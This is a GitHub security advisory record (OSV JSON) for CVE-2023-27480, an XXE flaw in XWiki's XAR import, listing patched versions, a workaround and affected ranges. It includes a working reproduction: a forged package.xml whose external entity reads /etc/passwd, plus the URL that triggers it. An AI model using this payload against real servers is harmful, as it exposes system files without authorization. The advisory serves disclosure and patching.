{"id":"GHSA-gx4f-976g-7g6v","summary":"XWiki Platform vulnerable to data leak via Improper Restriction of XML External Entity Reference","details":"### Impact\nAny user with edit rights on a document can trigger a XAR import on a forged XAR file, leading to the ability to display the content of any file on the XWiki server host.\n\nExample to reproduce:\n* Create a forget XAR file and inside it, have the following `package.xml` content:\n  ```xml\n  \u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n  \u003c!DOCTYPE foo [ \u003c!ENTITY xxe SYSTEM \"file:///etc/passwd\"\u003e ]\u003e\n\n  \u003cpackage\u003e\n  \u003cinfos\u003e\n  \u003cname\u003e&xxe;\u003c/name\u003e\n  \u003cdescription\u003e &xxe; Helper pages for creating and listing Class/Template/Sheets\u003c/description\u003e\n  \u003clicence\u003e\u003c/licence\u003e\n  \u003cauthor\u003eXWiki.Admin\u003c/author\u003e\n  ...\n  ```\n* Upload it onto a wiki page (e.g. `XXE`) as an attachment (e.g. `test.xar`).\n* Call the page using `http://localhost:8080/xwiki/bin/view/Main/XXE?sheet=XWiki.AdminImportSheet&file=test.xar`\n\nYou'll then notice that the displayed UI contains the content of the `/etc/passwd` file.\n\n### Patches\nThe vulnerability has been patched in XWiki 13.10.11, 14.4.7 and 14.10-rc-1.\n\n### Workarounds\nYou'd need to get XWiki Platform sources and apply the changes from https://github.com/xwiki/xwiki-platform/commit/e3527b98fdd8dc8179c24dc55e662b2c55199434 to the `XarPackage` java class and then copy the modified version to your `WEB-INF/classes` directory (or rebuild the `xwiki-platform-xar-model` maven module and replace the one found in `WEB-INF/lib/`).\n\n### References\n* https://github.com/xwiki/xwiki-platform/commit/e3527b98fdd8dc8179c24dc55e662b2c55199434\n* https://jira.xwiki.org/browse/XWIKI-20320\n\n### For more information\nIf you have any questions or comments about this advisory:\n*    Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n*    Email us at [Security Mailing List](mailto:security@xwiki.org)\n","aliases":["CVE-2023-27480"],"modified":"2023-11-08T04:12:04.667210Z","published":"2023-03-08T17:19:30Z","database_specific":{"nvd_published_at":"2023-03-07T19:15:00Z","cwe_ids":["CWE-611"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2023-03-08T17:19:30Z"},"references":[{"type":"WEB","url":"https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-gx4f-976g-7g6v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-27480"},{"type":"WEB","url":"https://github.com/xwiki/xwiki-platform/commit/e3527b98fdd8dc8179c24dc55e662b2c55199434"},{"type":"PACKAGE","url":"https://github.com/xwiki/xwiki-platform"},{"type":"WEB","url":"https://jira.xwiki.org/browse/XWIKI-20320"}],"affected":[{"package":{"name":"org.xwiki.platform:xwiki-platform-xar-model","ecosystem":"Maven","purl":"pkg:maven/org.xwiki.platform/xwiki-platform-xar-model"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.1-milestone-3"},{"fixed":"13.10.11"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/03/GHSA-gx4f-976g-7g6v/GHSA-gx4f-976g-7g6v.json"}},{"package":{"name":"org.xwiki.platform:xwiki-platform-xar-model","ecosystem":"Maven","purl":"pkg:maven/org.xwiki.platform/xwiki-platform-xar-model"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0"},{"fixed":"14.4.7"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/03/GHSA-gx4f-976g-7g6v/GHSA-gx4f-976g-7g6v.json"}},{"package":{"name":"org.xwiki.platform:xwiki-platform-xar-model","ecosystem":"Maven","purl":"pkg:maven/org.xwiki.platform/xwiki-platform-xar-model"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.5"},{"fixed":"14.10-rc-1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/03/GHSA-gx4f-976g-7g6v/GHSA-gx4f-976g-7g6v.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"}]}